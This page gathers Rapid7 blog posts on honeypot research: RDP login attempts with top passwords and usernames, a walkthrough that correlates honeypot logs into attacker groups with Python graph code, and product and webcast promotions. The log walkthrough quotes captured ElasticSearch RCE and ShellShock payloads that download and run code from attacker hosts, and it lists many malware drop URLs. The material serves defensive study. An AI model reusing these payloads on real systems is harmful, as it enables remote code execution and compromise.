Rapid7 is publishing a report about the passwords attackers use when they scan the internet indiscriminately. You can pick up a copy at booth #4215 at the RSA Conference this week, or online right here. The following post describes some of what is investigated in the report. Announcing the Attacker's Dictionary Rapid7's Project Sonar periodically scans the internet across a variety of ports and protocols, allowing us to study the global exposure to common vulnerabilities as well as trends in software deployment (this analysis of binary executables stems from Project Sonar). As a complement to Project Sonar, we run another project called Heisenberg which listens for scanning activity. Whereas Project Sonar sends out lots of packets to discover what is running on devices connected to the Internet, Project Heisenberg listens for and records the packets being sent by Project Sonar and other Internet-wide scanning projects. The datasets collected by Project Heisenberg let us study what other people are trying to examine or exploit. Of particular interest are scanning projects which attempt to use credentials to log into services that we do not provide. We cannot say for sure what the intention is of a device attempting to log into a nonexistent RDP server running on an IP address which has never advertised its presence, but we believe that behavior is suspect and worth analyzing. How Project Heisenberg Works Project Heisenberg is a collection of low interaction honeypots deployed around the world. The honeypots run on IP addresses which we have not published, and we expect that the only traffic directed to the honeypots would come from projects or services scanning a wide range of IP addresses. When an unsolicited connection attempt is made to one of our honeypots, we store all the data sent to the honeypot in a central location for further analysis. In this post we will explore some of the data we have collected related to Remote Desktop Prodocol (RDP) login attempts. RDP Summary Data We have collected RDP passwords over a 334 day period, from 2015-03-12 to 2016-02-09. During that time we have recorded 221203 different attempts to log in, coming from 5076 distinct IP addresses across 119 different countries, using 1806 different usernames and 3969 different passwords. Because it wouldn't be a discussion of passwords without a top 10 list, the top 10 passwords that we collected are: password count percent x 11865 5.36% Zz 10591 4.79% St@rt123 8014 3.62% 1 5679 2.57% P@ssw0rd 5630 2.55% bl4ck4ndwhite 5128 2.32% admin 4810 2.17% alex 4032 1.82% ....... 2672 1.21% administrator 2243 1.01% And because we have information not only about passwords, but also about the usernames that are being used, here are the top 10 that were collected: username count percent administrator 77125 34.87% Administrator 53427 24.15% user1 8575 3.88% admin 4935 2.23% alex 4051 1.83% pos 2321 1.05% demo 1920 0.87% db2admin 1654 0.75% Admin 1378 0.62% sql 1354 0.61% We see on average 662.28 login attempts every day, but the actual daily number varies quite a bit. The chart below shows the number of events per day since we started collecting data. Notice the heavy activity in the first four months, which skews the average high. In addition to the username and password being used in the login attempts that we captured, we also collected the IP address of the device making the login attempt. To the best of the ability of the GeoIP database we used, here are the top 15 countries from which the collected login attempts originate: country country code count percent China CN 88227 39.89% United States US 54977 24.85% South Korea KR 13182 5.96% Netherlands NL 10808 4.89% Vietnam VN 6565 2.97% United Kingdom GB 3983 1.80% Taiwan TW 3808 1.72% France FR 3709 1.68% Germany DE 2488 1.12% Canada CA 2349 1.06% With the data broken down by country, we can recreate the chart above to show activity by country for the top 5 countries: RDP Highlights There is even more information to be found in this data beyond counting passwords, usernames and countries. We guess that these passwords are selected because whomever is conducting these scans believes that there is a chance they will work. Maybe the scanners have inside knowledge about actual usernames and passwords in use, or maybe they're just using passwords that have been made available from previous security breaches in which account credentials were leaked. In order to look into this, we compared all the passwords collected by Project Heisenberg to passwords listed in two different collections of leaked passwords. The first is a list of passwords collected from leaked password databases by Crackstation. The second list comes from Mark Burnett. In the table below we list how many of the top N passwords are found in these password lists: top password count num in any list percent 1 1 100.00% 2 2 100.00% 3 2 66.67% 4 3 75.00% 5 4 80.00% 10 8 80.00% 50 28 56.00% 100 55 55.00% 1000 430 43.00% 3969 1782 44.90% This means that 8 of the 10 most frequently used passwords were also found in published lists of leaked passwords. But looking back at the top 10 passwords above, they are not very complex and so it is not surprising that they appear in a list of leaked passwords. This observation prompted us to look at the complexity of the passwords we collected. Just about any time you sign up for a service on the internet – be it a social networking site, an online bank, or a music streaming service – you will be asked to provide a username and password. Many times your chosen password will be evaluated during the signup process and you will be given feedback about how suitable or secure it is. Password evaluation is a tricky and inexact art that consists of various components. Some of the many aspects that a password evaluator may take into consideration include: length presence of dictionary words runs of characters (aaabbbcddddd) presence of non alphanumeric characters (!@#$%^&*) common substitutions (1 for l [lowercase L], 0 for O [uppercase o]) Different password evaluators will place different values on each of these (and other) characteristics to decide whether a password is "good" or "strong" or "secure". We looked at a few of these password evaluators, and found zxcvbn to be well documented and maintained, so we ran all the passwords through it to compute a complexity score for each one. We then looked at how password complexity is related to finding a password in a list of leaked passwords. complexity # passwords % crackstation crackstation % Burnnet Burnett % any any % all all % 0 803 20.23 726 90.41 564 70.24 728 90.66 562 69.99 1 1512 38.10 898 59.39 634 41.93 939 62.10 593 39.22 2 735 18.52 87 11.84 37 5.03 94 12.79 30 4.08 3 567 14.29 13 2.29 5 0.88 13 2.29 5 0.88 4 352 8.87 7 1.99 4 1.14 8 2.27 3 0.85 The above table shows the complexity of the collected passwords, as well as how many were found in different password lists. For instance, with complexity level 4, there were 352 passwords classified as being that complex, 7 of which were found in the crackstation list, and 4 of which were found in the Burnett list. Furthermore, 8 of the passwords were found in at least one of the password lists, meaning that if you had all the password lists, you would find 2.27% of the passwords classified as having a complexity value of 4. Similarly, looking across all the password lists, you would find 3 (0.85%) passwords present in each of the lists. From this we extrapolate that as passwords get more complex, fewer and fewer are found in the lists of leaked passwords. Since we see that attackers try passwords that are stupendously simple, like single character passwords, and much more complex passwords that are typically not found in the usual password lists, we can surmise that these attackers are not tied to these lists in any practical way -- they clearly have other sources for likely credentials to try. Finally, we wanted to know what the population of possible targets looks like. How many endpoints on the internet have an RDP server running, waiting for connections? Since we have experience from Project Sonar, on 2016-02-02 the Rapid7 Labs team ran a Sonar scan to see how many IPs have port 3389 open listening for tcp traffic. We found that 10822679 different IP addresses meet that criteria, spread out all over the world. So What? With this dataset we can learn about how people looking to log into RDP servers operate. We have much more detail in the report, but some our findings include: We see that many times a day, every day, our honeypots are contacted by a variety of entities. We see that many of these entities try to log into an RDP service which is not there, using a variety of credentials. We see that a majority of the login attempts use simple passwords, most of which are present in collections of leaked passwords. We see that as passwords get more complex, they are less and less likely to be present in collections of leaked passwords. We see that there is a significant population of RDP enabled endpoints connected to the internet. But wait, there's more! If this interests you and you would like to learn more, come talk to us at booth #4215 the RSA Conference.

12 Days of HaXmas: Beginner Threat Intelligence with Honeypots

This post is the 12th in the series, "12 Days of HaXmas." So the Christmas season is here, and between ordering gifts and drinking Glühwein what better way to spend your time than sieve through some honeypot / firewall / IDS logs and try to…

This post is the 12th in the series, "12 Days of HaXmas." So the Christmas season is here, and between ordering gifts and drinking Glühwein what better way to spend your time than sieve through some honeypot / firewall / IDS logs and try to make sense of it, right? At Rapid7 Labs, we're not only scanning the internet, but also looking at who out there is scanning by making use of honeypot and darknet tools. More precisely we're running a couple of honeypots spread around the world and collecting raw traffic PCAP files with something similar to tcpdump (just slightly more clever). This post is just a quick log of me playing around with some of the honeypot logs. Most of what I'm doing here is happening in one of our backend systems as well, but I figured it might be cool to explain this by doing it manually. Some background The honeypot is fairly simple, it waits for incoming connections and then tries to figure out what to do with it. It might need to treat it as a SSL/TLS connection, or just a plain HTTP request. Depending on the incoming protocol, it will try to answer in a meaningful way. Even with some very basic honeypot that just opens a port and waits for requests, you will quickly find things like this: GET /_search?source={"query":+{"filtered":+{"query":+{"match_all":+{}}}},+"script_fields":+{"exp":+{"script":+"import+java.util.*;import+java.io.*;String+str+=+\"\";BufferedReader+br+=+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec(\"wget+-O+/tmp/zldyls+http://61.176.223.109:1111/zldyls\").getInputStream()));StringBuilder+sb+=+new+StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}},+"size":+1} HTTP/1.1 Host: redacted:9200 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.4.1 CPython/2.7.8 Windows/2003Server or this: GET HTTP/1.1 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* ");' Host: redacted Connection: Close What we're looking at are ElasticSearch (slightly modified as the path was URL decoded for better readability) and ShellShock exploit attempts. One can quickly see that the technique is fairly straightforward - there's a specific exploit that allows you to run commands. In these cases, the attackers are just running some straightforward shell commands in order to download a file (by any means necessary) and execute it. You can find several writeups around these exploitation attempts and the botnets behind it one the web (e.g. [1], [2], [3]). Now because of this common pattern, our honeypot does some basic pattern matching and extracts any URL or command that it finds in the request. If there's a URL (inside a wget/curl/etc command), it will then try to download that file. We could also do this at post-processing stage, but by then the URL might not be available any more as these things tend to disappear or get taken down quickly. Looking at the unique files from the last half year (roughly) we can count following file-types (reduced/combined for readability): 178 ELF 32-bit LSB executable Intel 80386 66 a /usr/bin/perl script ASCII text executable 33 Bourne-Again shell script ASCII text executable 14 POSIX tar archive (GNU) 14 ELF 64-bit LSB executable x86-64 4 ELF 32-bit LSB executable MIPS 2 ELF 32-bit LSB executable ARM 1 ELF 32-bit MSB executable PowerPC or cisco 4500 1 ELF 32-bit MSB executable MIPS 1 OpenSSH DSA public key Typically the attacker is uploading a compiled malware binary. In some cases it's a shell script that will in turn download the next stage. And as we can see there's at least one case of an SSH public key that was uploaded - simple but effective. Also noteworthy is the targetting of quite a few different architectures. These are mostly binaries for embedded routers and for example the QNAP devices that are vulnerable to ShellShock. Getting started on the logs What kind of logs are we looking at? Mostly, our honeypot emits events like "there was a connection" or "i found a URL in a request" and "i downloaded a file from a URL". The first step is to grab a bunch of these events (a few thousand) and apply some geolocation to them (see DAP) (again, modified for better readability): $ cat logs | dap json + geoip sensor + geoip source + remove some + rename some + json { "ref": "conn-d7a38178-0520-49db-a79a-688f5ded5998", "utcts": "2015-12-13T07:36:59.444356Z", "sha1": "3eeb2eb0fdf9e4140277cbe4ce1149e57fae1fc9", "url": "http://ys-k.ys168.com/2.0/475535157/jRSKjUt4H535F3XKNTV/pycn.zuc", "url.netloc": "ys-k.ys168.com", "source": "117.175.110.177", "source.country_code": "CN", "sensor": "redacted", "sensor.country_code": "JP", "dport": 9200, "http.agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "http.method": "POST", "vulns": "VULN-ELASTICSEARCH-RCE,CVE-2014-3120,EXEC-SHELLCMD", } ... Now we can take these logs and do some correlatation, creating one record per "attack". We also add a couple more data sources (ASN lookup, filetypes for the downloaded files, etc). For the sake of this post, let's focus on the attacks which lead to downloadable files and that we could categorize as shellshock / elasticsearch exploits. By writing a quick formatting script that does some counting of fields we get something pretty like this (using python prettytable) (full version): +-----------------+-------+-------------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | key | count | seen | sensorcountry | dport | httpmethod | vulns | sha1 | url | +-----------------+-------+-------------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 221.224.57.66 | 89 | first: 2015-08-05 | 54x US | 89x 9200 | 89x GET | 89x VULN-ELASTICSEARCH-RCE | 88x 53c458790384b9c33acafaa0c6ddf9bcbf35997e | 84x http://183.56.173.131:999/xiaojiba | | CN | | last: 2015-08-08 | 14x JP | | | CVE-2014-3120 | 1x b6bb2b7cad3790887912b6a8d2203bebedb84427 | 4x http://221.224.57.66:999/xiaojiba | | AS 4134 | | | 10x AU | | | EXEC-SHELLCMD | | 1x http://221.224.57.66:999/qqqq | | | | | 5x IE | | | | | | | | | | 3x SG | | | | | | | | | | 3x BR | | | | | | +-----------------+-------+-------------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 61.147.103.74 | 87 | first: 2015-05-06 | 55x US | 87x 9200 | 87x GET | 87x VULN-ELASTICSEARCH-RCE | 87x f7b229a46b817776d9d2c1052a4ece2cb8970382 | 72x http://61.147.103.74/Aqks | | CN | | last: 2015-05-27 | 15x SG | | | CVE-2014-3120 | | 15x http://61.147.103.74/Aqmds | | AS23650 | | | 11x AU | | | EXEC-SHELLCMD | | | | | | | 4x JP | | | | | | | | | | 2x IE | | | | | | +-----------------+-------+-------------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 117.175.111.10 | 63 | first: 2015-10-26 | 21x IE | 63x 9200 | 63x POST | 63x VULN-ELASTICSEARCH-RCE | 48x 3eeb2eb0fdf9e4140277cbe4ce1149e57fae1fc9 | 18x http://ys-f.ys168.com/2.0/475535129/gUuMfKl6I345M2KKMN3L/hgfd.pzm | | CN | | last: 2015-10-27 | 11x US | | | CVE-2014-3120 | 15x 139033fef5a1dacbd5764e47f1403ebdf6bd854e | 15x http://ys-m.ys168.com/2.0/475535116/j5I614N5344N6HhSvKVs/pua.kfc | | AS 9808 | | | 9x JP | | | EXEC-SHELLCMD | | 15x http://ys-j.ys168.com/2.0/475535140/l5I614M7456NM1hVsIxw/ggg.vip | | | | | 8x AU | | | | | 9x http://ys-d.ys168.com/2.0/475535151/jRtNjKj7K426K6IH6PLK/wsy.sto | | | | | 8x SG | | | | | 5x http://183.60.202.97:12100/mmml | | | | | 6x BR | | | | | 1x http://ys-f.ys168.com/2.0/475535137/iTwHtWk4H537H4685MMK/mmml.bbt | +-----------------+-------+-------------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 189.190.50.56 | 50 | first: 2015-11-05 | 23x US | 50x 80 | 50x GET | 50x VULN-SHELLSHOCK | 37x 21762efb4df7cbb6b2331b34907817499f53be99 | 37x http://189.190.50.56/.b.gif | | MX | | last: 2015-12-02 | 22x AU | | | CVE-2014-6271 | 4x 4172d5b70dfe4f5be3aaeb4b2b78fa230a27b97e | 4x http://189.190.50.56/b.gif | | AS 8151 | | | 5x BR | | | | 4x 3a33f909c486406773b06d8da3b57f530dd80de6 | 4x http://173.220.57.150/scans/ip75.tar | | | | | | | | | 3x ebbe8ebb33e78348a024f8afce04ace6b48cc708 | 3x http://173.220.57.150/scans/dom66.tar | | | | | | | | | 2x 3caf6f7c6f4953b9bbba583dce738481da338ea7 | 2x http://173.220.57.150/scans/php77.tar | +-----------------+-------+-------------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ ... With my test dataset of roughly 2000 "attacks with downloads" this leads to 195 unique sources, that make use of several drop URLs and payloads over the course of a couple months. Basic Threat Intelligence Beyond simple correlation by source IP, we can now try to organize this data into some groups - basically trying to correlate several attack sources together based on the payloads and drop sites they use. In addition there are also more in-depth methods like analyzing the malware samples and coming up with specific indicators that allow you to group the binaries together even further. The problem though is that manually doing this grouping is painful, as it's not enough to go one level deep. A source that uses a couple binaries which are also used from another source is the first layer. But then those sources already had their own binaries and URLs, and so on and so forth. Basically it comes down to a simple graph traversal. The individual data points like an attacker ip, a file hash, a drop host ip/name, etc can be viewed as nodes in a graph that have relationships with each other. All connected subgraphs within this graph make up our "groups" / attacker categories. If you create a graph for our honeypot data set, it looks like this: So to categorize our incidents into attacker groups we build up these subgraphs by writing a graph traversal function. We correlate attackers based on binaries used, hosts used for downloading payloads and hosts contacted by the malware samples themselves (sadly didn't get to do this for all of them). GRAPH = collections.defaultdict(set) def add_edge(fr, to): # undirected GRAPH[fr].add(to) GRAPH[to].add(fr) def graph_traversal(src): visited = set([src]) queue = [src,] while queue: parent = queue.pop(0) children = GRAPH[parent] for child in children: if child not in visited: yield parent, child visited.add(child) queue.append(child) for e in DATA: src = ("source", e["source"]) payload = ("payload", e["sha1"]) payloadsrc = ("payloadsrc", e["url.netloc"]) add_edge(src, payload) add_edge(payload, payloadsrc) for i in e.get("mal.tcplist", []): add_edge(payload, ("c2", i)) n = 1 seen = set() for src in set(e["source"] for e in DATA): if src in seen: continue members = set() indicators = set() for (ta, va), (tb, vb) in graph_traversal(("source", src)): if ta == "source": members.add(va) else: indicators.add((ta, va)) if tb == "source": members.add(vb) else: indicators.add((tb, vb)) print json.dumps(dict(members=list(members), indicators=list(indicators), group=n)) n += 1 seen |= members This leads to 81 groups, as shown by the next table (full version): +-----+-------+-------------------+----------------------+---------------+---------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | key | count | seen | source | sourcecountry | srcasn | sensorcountry | dport | httpmethod | vulns | sha1 | url | +-----+-------+-------------------+----------------------+---------------+---------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 3 | 224 | first: 2015-04-09 | 144x 115.29.174.5 | 210x CN | 144x AS37963 | 84x US | 224x 9200 | 158x POST | 224x VULN-ELASTICSEARCH-RCE | 143x 4db1c73a4a33696da9208cc220f8262fb90767af | 65x http://23.234.25.203:15826/udpg | | | | last: 2015-12-13 | 31x 222.186.21.201 | 14x KR | 66x AS23650 | 44x IE | | 66x GET | CVE-2014-3120 | 81x 2b1f756d1f5b1723df6872d5727bf55f94c7aba9 | 53x http://23.234.25.203:15826/dos | | | | | 14x 14.45.176.29 | | 14x AS 4766 | 26x JP | | | EXEC-SHELLCMD | | 28x http://23.234.25.203:15826/udp | | | | | 14x 61.160.247.231 | | | 26x SG | | | | | 16x http://23.234.25.203:15826/ud | | | | | 8x 222.186.21.195 | | | 23x AU | | | | | 13x http://47.88.21.44:15826/udp | | | | | 7x 222.186.21.166 | | | 21x BR | | | | | 7x http://23.234.25.203:15826/xxoo | | | | | 5x 61.160.223.35 | | | | | | | | 7x http://61.160.223.35:15826/udp | | | | | 1x 222.186.34.70 | | | | | | | | 7x http://23.234.25.203:15826/L88 | | | | | | | | | | | | | 6x http://23.234.25.203:15826/xf23 | | | | | | | | | | | | | 5x http://43.230.147.30:2017/udp | | | | | | | | | | | | | 4x http://61.160.247.231:15826/udp | | | | | | | | | | | | | 4x http://23.234.25.203:15826/udp110 | | | | | | | | | | | | | 3x http://222.186.50.47:15826/udpg | | | | | | | | | | | | | 3x http://222.186.21.201:15826/udp | | | | | | | | | | | | | 3x http://222.186.34.70:2018/udp | +-----+-------+-------------------+----------------------+---------------+---------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 12 | 23 | first: 2015-11-17 | 9x 206.217.134.130 | 19x US | 9x AS36352 | 18x US | 15x 80 | 15x GET | 15x VULN-SHELLSHOCK | 8x 81b65f4165a6b0689c3e7212ccf938dc55aae1bf | 8x http://192.240.106.106/lga | | | | last: 2015-12-13 | 4x 198.245.72.234 | 2x TR | 4x AS55286 | 3x AU | 8x 9200 | 8x POST | CVE-2014-6271 | 8x c30026c548cd45be89c4fb01aa6df6fd733de964 | 2x http://69.30.200.250/ide.docx | | | | | 4x 69.12.70.34 | 1x CA | 4x AS 8100 | 1x JP | | | 8x VULN-ELASTICSEARCH-RCE | 5x fe01a972a63f754fed0322698e16b2edc933f422 | 2x http://188.138.41.134/dd.exe | | | | | 2x 91.191.170.111 | 1x DE | 2x AS43391 | 1x BR | | | CVE-2014-3120 | 2x 05f32da77a9c70f429c35828d73d68696ca844f2 | 2x http://37.59.8.213/pacs | | | | | 1x 142.54.187.42 | | 1x AS30083 | | | | EXEC-SHELLCMD | | 2x http://69.30.200.250/jof | | | | | 1x 209.126.110.239 | | 1x AS32613 | | | | | | 1x http://69.58.3.226/api | | | | | 1x 174.142.46.120 | | 1x AS24940 | | | | | | 1x http://192.240.106.106/dax.exe | | | | | 1x 136.243.110.172 | | 1x AS33387 | | | | | | 1x http://174.142.46.120/lma1 | | | | | | | | | | | | | 1x http://69.12.70.34/api | | | | | | | | | | | | | 1x http://188.138.41.134/lma1 | | | | | | | | | | | | | 1x http://192.240.106.106/pisd | | | | | | | | | | | | | 1x http://69.30.200.250/jla.cp | +-----+-------+-------------------+----------------------+---------------+---------------+---------------+------------+------------+-----------------------------+-----------------------------------------------+--------------------------------------------------------------------------------+ | 13 | 42 | first: 2015-04-23 | 22x 104.192.0.18 | 22x US | 22x AS27176 | 14x US | 21x 10000 | 42x GET | 42x VULN-QNAP-SHELLSHOCK | 12x 37c5ca684c2f7c9f5a9afd939bc2845c98ef5853 | 20x http://104.192.0.18/apache | | | | last: 2015-04-27 | 20x 37.220.36.77 | 20x NL | 20x AS58073 | 10x IE | 18x 7778 | | | 12x 3e4e34a51b157e5365caa904cbddc619146ae65c | 12x http://104.192.0.18/syn | | | | | | | | 8x SG | 3x 8080 | | | 7x 9d3442cfecf6e850a2d89d2817121e46f796a1b1 | 7x http://104.192.0.18/apache2 | | | | | | | | 7x BR | | | | 7x 9851bcec479204f47a3642177c75a16b58d44c20 | 3x http://104.192.0.18/jawk | | | | | | | | 3x AU | | | | 3x 1a412791a58dca7fc87284e208365d36d19fd864 | | | | | | | | | | | | | 1x d538717c89943f42716c139426c031a21b83c236 | | What else? As mentioned before, this can be done in much more detail, by analyzing the samples further and extracting better/more indicators than the contacted C2 hosts. Also there probably is more data around the hosts / domains used for the drop sites (payload URLs) that could potentially be used to correlate different sets. If we're taking some of the hosts/ips from above and use it to query Project Sonar we'll get dns records, open ports and certificate information: address 104.152.190.2 had port 80/tcp open address 61.147.107.91 was seen in DNS A record for 58559.url.dnspud.com address 222.186.21.115 was seen in DNS A record for cc365cc-com-2015-7.com saw cert 93e5ad9fdf4c9a432a2ebbb6b0e5e0a055051007 on endpoint 216.99.150.113:465 address 89.238.81.138 was seen in DNS A record for www.investorfinder.de address 97.74.204.6 was seen in DNS A record for teafortwohearts.com address 115.238.246.180 had port 80/tcp open address 66.240.252.49 had port 993/tcp open address 208.76.228.65 was seen in DNS A record for peoplesblueprint.ca address 222.141.64.65 had DNS PTR record hn.kd.ny.adsl address 180.97.215.7 was seen in DNS A record for jilijia.net address 203.171.230.109 was seen in DNS A record for cxyt.org elbinvestment.com had a DNS a record with value 89.31.143.1 address 222.186.30.21 was seen in DNS A record for www.lerhe.com saw cert 25907d81d624fd05686111ae73372068488fcc6a on endpoint 178.162.207.107:993 ys-f.ys168.com had a DNS A record pointing to IP 61.147.125.116 address 180.97.215.7 had port 995/tcp open address 213.155.180.226 had port 465/tcp open address 113.10.149.45 was seen in DNS A record for school88le.com ... Following this data / or adding it into the graph can yield some interesting results - but it's also of lower "quality" as most of the infrastructure used by the attackers probably consists of compromised systems and has lots of other use and thus there's a lot of noise around the activity of the attacker. Summing up Looking through these datasets can be fun but also a bit tricky at times. Command-line kungfu and some scripting can help pivot around the dataset if you don't want to put the effort in of using a database and something like SQL queries. Incident data and threat intelligence indicators quite often match the graph data model well and thus we can use of simple graph traversal functions or even a real graph database to analyze our data. In order to analyze most of the samples I implemented Linux support in Cuckoo Sandbox. Available in the current development branch - follow us closely for the release of the next version! Another noteworthy point is that honeypots can still yield some fun (not so much interesting) data nowadays. With internet scanning becoming more popular and easy to do, a few low-skill shotgun-type attackers are joining the game and try to get quick wins by running mass exploitation runs. Rapid7 Labs is always interested in similar stories if you are willing to share them and let us know what you think in the comments! Also feel free to tweet me personally @repmovsb. Happy HaxMas! -Mark References: [1] CARISIRT: Defaulting on Passwords (Part 1): r0_bot | CARI.net Blog [2] Malware Must Die!: MMD-0030-2015 - New ELF malware on Shellshock: the ChinaZ [3] Malware Must Die!: MMD-0032-2015 - The ELF ChinaZ "reloaded"

Like Playing with Honeypots? Stop Playing, Start Using

Honeypots are machines whose only purpose is to entrap attackers who scan or even hack into them. Honeypots are very powerful for detecting incidents because every interaction with them is illegitimate by definition: honeypots do not host legitimate data or services, so there is no…

Honeypots are machines whose only purpose is to entrap attackers who scan or even hack into them. Honeypots are very powerful for detecting incidents because every interaction with them is illegitimate by definition: honeypots do not host legitimate data or services, so there is no reason for a regular user to interact with them.However, honeypots come with one major drawback: a great deal of security professionals have told me that they built a honeypot, played around with it, and eventually abandoned it because the return on their time investment was too small. How do you know that it's functioning? How do you manage the whitelisting of legitimate scanners? What about periodic updates and configuration changes?Even though honeypots have been around for years, there is nothing shocking about this challenge because the security software market has been embarrassingly bad at enabling security pros to take advantage of developments from the security research community. A honeypot alone would not justify a hefty price tag, so most security vendors opt not to create one.Earlier this year, the UserInsight team looked at a few different attacker behaviors and decided that they would be extremely easy to detect if only we had a honeypot in place. So... we built one. Here's how easy it is to set up and maintain UserInsight honeypots:Every UserInsight customer can install one in a couple minutes at no additional costYou want to deploy multiple honeypots so that you can brag to your friends about your honeynet? Go to town.Some customers install them in the DMZ; some deploy them in the corporate environment; some in both. It doesn't matter. As long as the honeypot can connect to one of your UserInsight collectors for communication, you can put them anywhere you desire.After deploying a pre-installed virtual machine (OVA format), UserInsight will maintain your honeypot(s). That's right. Your time and effort investment is mostly covered by clicking on the button you see here.From all feedback I have received thus far, we managed to address the biggest continuous challenge, as well: central management. Close an incident from the UserInsight console to avoid having to access each individual honeypot for whitelisting and configuration changes:Learn more about honeypots and honeyusers in UserInsight here.In case you missed it, this is included in every UserInsight POC. Set it up. Learn how your vulnerability scanner behaves. Whitelist it. Shock your boss by finding everyone else that scans the network.Honeypots are not just for experimentation anymore. Watch how easy it is to get your configured in this video. If you'd like to start a conversation or are thinking of trying UserInsight, please give us a call or fill in our Contact Us form.

Webcast: Playing in the Sandbox - Open Source Tools for Threat Intelligence

If you missed last week's webcast in the Life's a Breach series, I have good news for you: The recording is now available. In this webcast, Claudio Guarnieri, security researcher with Rapid7 and creator of Cuckoo Sandbox, shows what we can learn from analyzing malware…

If you missed last week's webcast in the Life's a Breach series, I have good news for you: The recording is now available. In this webcast, Claudio Guarnieri, security researcher with Rapid7 and creator of Cuckoo Sandbox, shows what we can learn from analyzing malware that have been caught with honeypots.By watching this webcast you will learn:How to actively collect and analyze threats in the wild to improve security practicesAbout different kinds of honeypots, and which one to use for whatHow to you set up a honeyclient to capture client-side attacksHow to use Cuckoo Sandbox for automated malware analysisHere are some questions from the audience that were answered in the webcast: Are there any honeyclients that analyze HTML5, or do they all focus on Javascript?Do you typically see honeyclients and sandboxes primarily by security researchers, or also by security professionals in enterprises? How may this change in the future?What's the best way to protect against client-side attacks?Should enterprises use honeypots and sandboxes to defend their networks?About the SpeakerClaudio is a Security Researcher at Rapid7. He is involved with general Internet badness on a daily basis. His specialties span from malware analysis to botnets tracking and cybercrime intelligence. Claudio is a core member of The Honeynet Project and The Shadowserver Founda tion, two no-profit organizations devoted to making Internet a safer place.Claudio is also the creator and lead developer of Cuckoo Sandbox, a prominent open source automated malware analysis system and runs the Malwr.com website. He presented at several international conferences including InBot, Hack In The Box, TAIS Security Conference and the Honeynet Workshops.View the Open Source Tools for Threat Intelligence Webcast Now

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now